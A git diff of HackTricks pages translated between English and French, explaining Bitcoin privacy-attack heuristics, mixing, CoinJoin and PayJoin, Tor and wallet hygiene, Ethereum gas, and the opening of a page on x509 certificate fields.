- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Analyse de Trafic**
## **Traffic Analysis**
En surveillant le trafic réseau, les attaquants peuvent potentiellement lier des transactions ou des blocs à des adresses IP, compromettant ainsi la confidentialité des utilisateurs. Cela est particulièrement vrai si une entité exploite de nombreux nœuds Bitcoin, améliorant sa capacité à surveiller les transactions.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Plus
## More
Pour une liste complète des attaques sur la confidentialité et des défenses, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transactions Bitcoin Anonymes
# Anonymous Bitcoin Transactions
## Façons d'Obtenir des Bitcoins de Manière Anonyme
## Ways to Get Bitcoins Anonymously
- **Transactions en Espèces :** Acquérir des bitcoins par le biais d'espèces.
- **Alternatives en Espèces :** Acheter des cartes-cadeaux et les échanger en ligne contre des bitcoins.
- **Minage :** La méthode la plus privée pour gagner des bitcoins est le minage, surtout lorsqu'il est effectué seul, car les pools de minage peuvent connaître l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Vol :** Théoriquement, voler des bitcoins pourrait être une autre méthode pour les acquérir anonymement, bien que cela soit illégal et non recommandé.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Services de Mixage
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
En utilisant un service de mixage, un utilisateur peut **envoyer des bitcoins** et recevoir **des bitcoins différents en retour**, ce qui rend difficile la traçabilité du propriétaire d'origine. Cependant, cela nécessite de faire confiance au service pour ne pas conserver de journaux et pour réellement retourner les bitcoins. Des options de mixage alternatives incluent les casinos Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le processus pour quiconque essaie d'associer des entrées avec des sorties. Malgré son efficacité, les transactions avec des tailles d'entrée et de sortie uniques peuvent encore potentiellement être tracées.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Des transactions d'exemple qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant de mineurs.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par exemple, un client et un commerçant) comme une transaction régulière, sans les caractéristiques distinctives de sorties égales de CoinJoin. Cela rend extrêmement difficile la détection et pourrait invalider l'heuristique de propriété d'entrée commune utilisée par les entités de surveillance des transactions.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Les transactions comme celles-ci pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**L'utilisation de PayJoin pourrait perturber considérablement les méthodes de surveillance traditionnelles**, en faisant un développement prometteur dans la quête de la confidentialité transactionnelle.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Meilleures pratiques pour la confidentialité dans les cryptomonnaies
# Best Practices for Privacy in Cryptocurrencies
## **Techniques de synchronisation des portefeuilles**
## **Wallet Synchronization Techniques**
Pour maintenir la confidentialité et la sécurité, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux méthodes se distinguent :
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Nœud complet** : En téléchargeant l'intégralité de la blockchain, un nœud complet garantit une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour les adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
- **Filtrage de blocs côté client** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer d'intérêts spécifiques aux observateurs du réseau. Les portefeuilles légers téléchargent ces filtres, ne récupérant des blocs complets que lorsqu'une correspondance avec les adresses de l'utilisateur est trouvée.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilisation de Tor pour l'anonymat**
## **Utilizing Tor for Anonymity**
Étant donné que Bitcoin fonctionne sur un réseau pair-à-pair, il est recommandé d'utiliser Tor pour masquer votre adresse IP, améliorant la confidentialité lors de l'interaction avec le réseau.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Prévention de la réutilisation des adresses**
## **Preventing Address Reuse**
Pour protéger la confidentialité, il est vital d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation des adresses peut compromettre la confidentialité en liant les transactions à la même entité. Les portefeuilles modernes découragent la réutilisation des adresses par leur conception.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Stratégies pour la confidentialité des transactions**
## **Strategies for Transaction Privacy**
- **Transactions multiples** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrecarrant les attaques sur la confidentialité.
- **Évitement du changement** : Opter pour des transactions qui ne nécessitent pas de sorties de changement améliore la confidentialité en perturbant les méthodes de détection du changement.
- **Multiples sorties de changement** : Si l'évitement du changement n'est pas faisable, générer plusieurs sorties de changement peut tout de même améliorer la confidentialité.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero : Un phare d'anonymat**
# **Monero: A Beacon of Anonymity**
Monero répond au besoin d'anonymat absolu dans les transactions numériques, établissant une norme élevée pour la confidentialité.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum : Gaz et transactions**
# **Ethereum: Gas and Transactions**
## **Comprendre le gaz**
## **Understanding Gas**
Le gaz mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2 310 000 gwei (ou 0,00231 ETH) implique une limite de gaz et un frais de base, avec un pourboire pour inciter les mineurs. Les utilisateurs peuvent définir un frais maximum pour s'assurer de ne pas trop payer, l'excédent étant remboursé.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Exécution des transactions**
## **Executing Transactions**
Les transactions sur Ethereum impliquent un expéditeur et un destinataire, qui peuvent être soit des adresses d'utilisateur, soit des adresses de contrat intelligent. Elles nécessitent un frais et doivent être minées. Les informations essentielles dans une transaction incluent le destinataire, la signature de l'expéditeur, la valeur, des données optionnelles, la limite de gaz et les frais. Notamment, l'adresse de l'expéditeur est déduite de la signature, éliminant le besoin de celle-ci dans les données de la transaction.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Ces pratiques et mécanismes sont fondamentaux pour quiconque cherchant à s'engager avec les cryptomonnaies tout en priorisant la confidentialité et la sécurité.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Références
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## Concepts de base
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Smart Contracts** sont définis comme des programmes qui s'exécutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exécution des accords sans intermédiaires.
- **Decentralized Applications (dApps)** s'appuient sur des smart contracts, présentant une interface conviviale et un back-end transparent et auditable.
- **Tokens & Coins** différencient où les coins servent de monnaie numérique, tandis que les tokens représentent une valeur ou une propriété dans des contextes spécifiques.
- **Utility Tokens** donnent accès à des services, et **Security Tokens** signifient la propriété d'actifs.
- **DeFi** signifie Finance Décentralisée, offrant des services financiers sans autorités centrales.
- **DEX** et **DAOs** font référence aux plateformes d'échange décentralisées et aux organisations autonomes décentralisées, respectivement.
## Consensus Mechanisms
## Mécanismes de consensus
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Les mécanismes de consensus garantissent des validations de transactions sécurisées et convenues sur la blockchain :
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** repose sur la puissance de calcul pour la vérification des transactions.
- **Proof of Stake (PoS)** exige que les validateurs détiennent un certain montant de tokens, réduisant la consommation d'énergie par rapport au PoW.
## Bitcoin Essentials
## Essentiels de Bitcoin
### Transactions
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées par des signatures numériques, garantissant que seul le propriétaire de la clé privée peut initier des transferts.
#### Key Components:
#### Composants clés :
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Multisignature Transactions** nécessitent plusieurs signatures pour autoriser une transaction.
- Les transactions se composent de **inputs** (source de fonds), **outputs** (destination), **fees** (payées aux mineurs) et **scripts** (règles de transaction).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Vise à améliorer la scalabilité de Bitcoin en permettant plusieurs transactions au sein d'un canal, ne diffusant l'état final que sur la blockchain.
## Bitcoin Privacy Concerns
## Préoccupations en matière de confidentialité de Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Les attaques sur la vie privée, telles que **Common Input Ownership** et **UTXO Change Address Detection**, exploitent les modèles de transaction. Des stratégies comme **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre les utilisateurs.
## Acquiring Bitcoins Anonymously
## Acquisition de Bitcoins de manière anonyme
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Les méthodes incluent les échanges en espèces, le minage et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** dissimule les CoinJoins en tant que transactions régulières pour une confidentialité accrue.
# Bitcoin Privacy Atacks
# Attaques sur la vie privée de Bitcoin
# Summary of Bitcoin Privacy Attacks
# Résumé des attaques sur la vie privée de Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
Dans le monde de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent des sujets de préoccupation. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles les attaquants peuvent compromettre la vie privée de Bitcoin.
## **Common Input Ownership Assumption**
## **Hypothèse de propriété d'entrée commune**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Il est généralement rare que des entrées de différents utilisateurs soient combinées dans une seule transaction en raison de la complexité impliquée. Ainsi, **deux adresses d'entrée dans la même transaction sont souvent supposées appartenir au même propriétaire**.
## **UTXO Change Address Detection**
## **Détection d'adresse de changement UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
Un UTXO, ou **Unspent Transaction Output**, doit être entièrement dépensé dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste va à une nouvelle adresse de changement. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant ainsi la vie privée.
### Example
### Exemple
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Pour atténuer cela, les services de mixage ou l'utilisation de plusieurs adresses peuvent aider à obscurcir la propriété.
## **Social Networks & Forums Exposure**
## **Exposition sur les réseaux sociaux et forums**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, rendant **facile de lier l'adresse à son propriétaire**.
## **Transaction Graph Analysis**
## **Analyse des graphes de transactions**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Les transactions peuvent être visualisées sous forme de graphes, révélant des connexions potentielles entre les utilisateurs en fonction du flux de fonds.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heuristique d'entrée inutile (Heuristique de changement optimal)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Cette heuristique est basée sur l'analyse des transactions avec plusieurs entrées et sorties pour deviner quelle sortie est le changement retournant à l'expéditeur.
### Exemple
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Si l'ajout de plus d'entrées rend la sortie de changement plus grande que n'importe quelle entrée unique, cela peut confondre l'heuristique.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Réutilisation forcée d'adresse**
## **Forced Address Reuse**
Les attaquants peuvent envoyer de petites sommes à des adresses précédemment utilisées, espérant que le destinataire les combine avec d'autres entrées dans de futures transactions, reliant ainsi les adresses ensemble.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Comportement correct du portefeuille
### Correct Wallet Behavior
Les portefeuilles devraient éviter d'utiliser des pièces reçues sur des adresses déjà utilisées et vides pour prévenir cette fuite de confidentialité.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Autres techniques d'analyse de blockchain**
## **Other Blockchain Analysis Techniques**
- **Montants de paiement exacts :** Les transactions sans changement sont probablement entre deux adresses appartenant au même utilisateur.
- **Nombres ronds :** Un nombre rond dans une transaction suggère qu'il s'agit d'un paiement, avec la sortie non ronde étant probablement le changement.
- **Empreinte de portefeuille :** Différents portefeuilles ont des modèles de création de transactions uniques, permettant aux analystes d'identifier le logiciel utilisé et potentiellement l'adresse de changement.
- **Corrélations de montant et de timing :** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Analyse de trafic**
## **Traffic Analysis**
En surveillant le trafic réseau, les attaquants peuvent potentiellement lier des transactions ou des blocs à des adresses IP, compromettant ainsi la confidentialité des utilisateurs. Cela est particulièrement vrai si une entité opère de nombreux nœuds Bitcoin, améliorant sa capacité à surveiller les transactions.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Plus
## More
Pour une liste complète des attaques sur la vie privée et des défenses, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transactions Bitcoin anonymes
# Anonymous Bitcoin Transactions
## Façons d'obtenir des Bitcoins anonymement
## Ways to Get Bitcoins Anonymously
- **Transactions en espèces :** Acquérir des bitcoins par le biais d'espèces.
- **Alternatives en espèces :** Acheter des cartes-cadeaux et les échanger en ligne contre des bitcoins.
- **Minage :** La méthode la plus privée pour gagner des bitcoins est le minage, surtout lorsqu'il est effectué seul, car les pools de minage peuvent connaître l'adresse IP du mineur. [Informations sur les pools de minage](https://en.bitcoin.it/wiki/Pooled_mining)
- **Vol :** Théoriquement, voler des bitcoins pourrait être une autre méthode pour les acquérir anonymement, bien que cela soit illégal et non recommandé.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Services de mélange
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
En utilisant un service de mélange, un utilisateur peut **envoyer des bitcoins** et recevoir **des bitcoins différents en retour**, ce qui rend difficile la traçabilité du propriétaire d'origine. Cependant, cela nécessite de faire confiance au service pour ne pas conserver de journaux et pour réellement retourner les bitcoins. Des options de mélange alternatives incluent les casinos Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le processus pour quiconque essaie de faire correspondre les entrées avec les sorties. Malgré son efficacité, les transactions avec des tailles d'entrée et de sortie uniques peuvent encore potentiellement être tracées.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Des transactions d'exemple qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant de mineurs.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par exemple, un client et un commerçant) comme une transaction ordinaire, sans les caractéristiques distinctives de sorties égales de CoinJoin. Cela rend extrêmement difficile la détection et pourrait invalider l'heuristique de propriété d'entrée commune utilisée par les entités de surveillance des transactions.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Les transactions comme celles-ci pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**L'utilisation de PayJoin pourrait perturber considérablement les méthodes de surveillance traditionnelles**, en faisant un développement prometteur dans la quête de la confidentialité transactionnelle.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Meilleures pratiques pour la confidentialité dans les cryptomonnaies
# Best Practices for Privacy in Cryptocurrencies
## **Techniques de synchronisation des portefeuilles**
## **Wallet Synchronization Techniques**
Pour maintenir la confidentialité et la sécurité, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux méthodes se distinguent :
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Nœud complet** : En téléchargeant l'intégralité de la blockchain, un nœud complet garantit une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour les adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
- **Filtrage de blocs côté client** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer d'intérêts spécifiques aux observateurs du réseau. Les portefeuilles légers téléchargent ces filtres, ne récupérant des blocs complets que lorsqu'un match avec les adresses de l'utilisateur est trouvé.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilisation de Tor pour l'anonymat**
## **Utilizing Tor for Anonymity**
Étant donné que Bitcoin fonctionne sur un réseau pair-à-pair, il est recommandé d'utiliser Tor pour masquer votre adresse IP, améliorant la confidentialité lors de l'interaction avec le réseau.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Prévention de la réutilisation des adresses**
## **Preventing Address Reuse**
Pour protéger la confidentialité, il est vital d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation des adresses peut compromettre la confidentialité en liant les transactions à la même entité. Les portefeuilles modernes découragent la réutilisation des adresses par leur conception.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Stratégies pour la confidentialité des transactions**
## **Strategies for Transaction Privacy**
- **Multiples transactions** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrecarrant les attaques sur la confidentialité.
- **Évitement du changement** : Opter pour des transactions qui ne nécessitent pas de sorties de changement améliore la confidentialité en perturbant les méthodes de détection du changement.
- **Multiples sorties de changement** : Si éviter le changement n'est pas faisable, générer plusieurs sorties de changement peut néanmoins améliorer la confidentialité.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero : Un phare d'anonymat**
# **Monero: A Beacon of Anonymity**
Monero répond au besoin d'anonymat absolu dans les transactions numériques, établissant une norme élevée pour la confidentialité.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum : Gaz et transactions**
# **Ethereum: Gas and Transactions**
## **Comprendre le gaz**
## **Understanding Gas**
Le gaz mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2,310,000 gwei (ou 0.00231 ETH) implique une limite de gaz et un frais de base, avec un pourboire pour inciter les mineurs. Les utilisateurs peuvent définir un frais maximum pour s'assurer de ne pas trop payer, l'excédent étant remboursé.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Exécution des transactions**
## **Executing Transactions**
Les transactions sur Ethereum impliquent un expéditeur et un destinataire, qui peuvent être soit des adresses d'utilisateur, soit des adresses de contrat intelligent. Elles nécessitent un frais et doivent être minées. Les informations essentielles dans une transaction incluent le destinataire, la signature de l'expéditeur, la valeur, des données optionnelles, la limite de gaz et les frais. Notamment, l'adresse de l'expéditeur est déduite de la signature, éliminant le besoin de celle-ci dans les données de la transaction.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Ces pratiques et mécanismes sont fondamentaux pour quiconque cherchant à s'engager avec les cryptomonnaies tout en priorisant la confidentialité et la sécurité.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Références
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -2,46 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Qu'est-ce qu'un certificat
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Un **certificat de clé publique** est une ID numérique utilisée en cryptographie pour prouver qu'une personne possède une clé publique. Il inclut les détails de la clé, l'identité du propriétaire (le sujet) et une signature numérique d'une autorité de confiance (l'émetteur). Si le logiciel fait confiance à l'émetteur et que la signature est valide, une communication sécurisée avec le propriétaire de la clé est possible.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
Les certificats sont principalement émis par des [autorités de certification](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) dans une [infrastructure à clé publique](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Une autre méthode est le [web de confiance](https://en.wikipedia.org/wiki/Web_of_trust), où les utilisateurs vérifient directement les clés des autres. Le format commun pour les certificats est [X.509](https://en.wikipedia.org/wiki/X.509), qui peut être adapté à des besoins spécifiques comme indiqué dans le RFC 5280.
## What is a Certificate
## Champs communs x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Champs communs dans les certificats x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
Dans les certificats x509, plusieurs **champs** jouent des rôles critiques pour garantir la validité et la sécurité du certificat. Voici un aperçu de ces champs :
## x509 Common Fields
- **Numéro de version** signifie la version du format x509.
- **Numéro de série** identifie de manière unique le certificat au sein du système d'une Autorité de Certification (CA), principalement pour le suivi des révocations.
- Le champ **Sujet** représente le propriétaire du certificat, qui peut être une machine, un individu ou une organisation. Il inclut une identification détaillée telle que :
- **Nom commun (CN)** : Domaines couverts par le certificat.
- **Pays (C)**, **Localité (L)**, **État ou province (ST, S ou P)**, **Organisation (O)** et **Unité organisationnelle (OU)** fournissent des détails géographiques et organisationnels.
- **Nom distinctif (DN)** encapsule l'identification complète du sujet.
- **Émetteur** détaille qui a vérifié et signé le certificat, y compris des sous-champs similaires à ceux du Sujet pour la CA.
- La **période de validité** est marquée par les horodatages **Non avant** et **Non après**, garantissant que le certificat n'est pas utilisé avant ou après une certaine date.
- La section **Clé publique**, cruciale pour la sécurité du certificat, spécifie l'algorithme, la taille et d'autres détails techniques de la clé publique.
- Les **extensions x509v3** améliorent la fonctionnalité du certificat, spécifiant **Utilisation de la clé**, **Utilisation de clé étendue**, **Nom alternatif du sujet** et d'autres propriétés pour affiner l'application du certificat.
### **Common Fields in x509 Certificates**
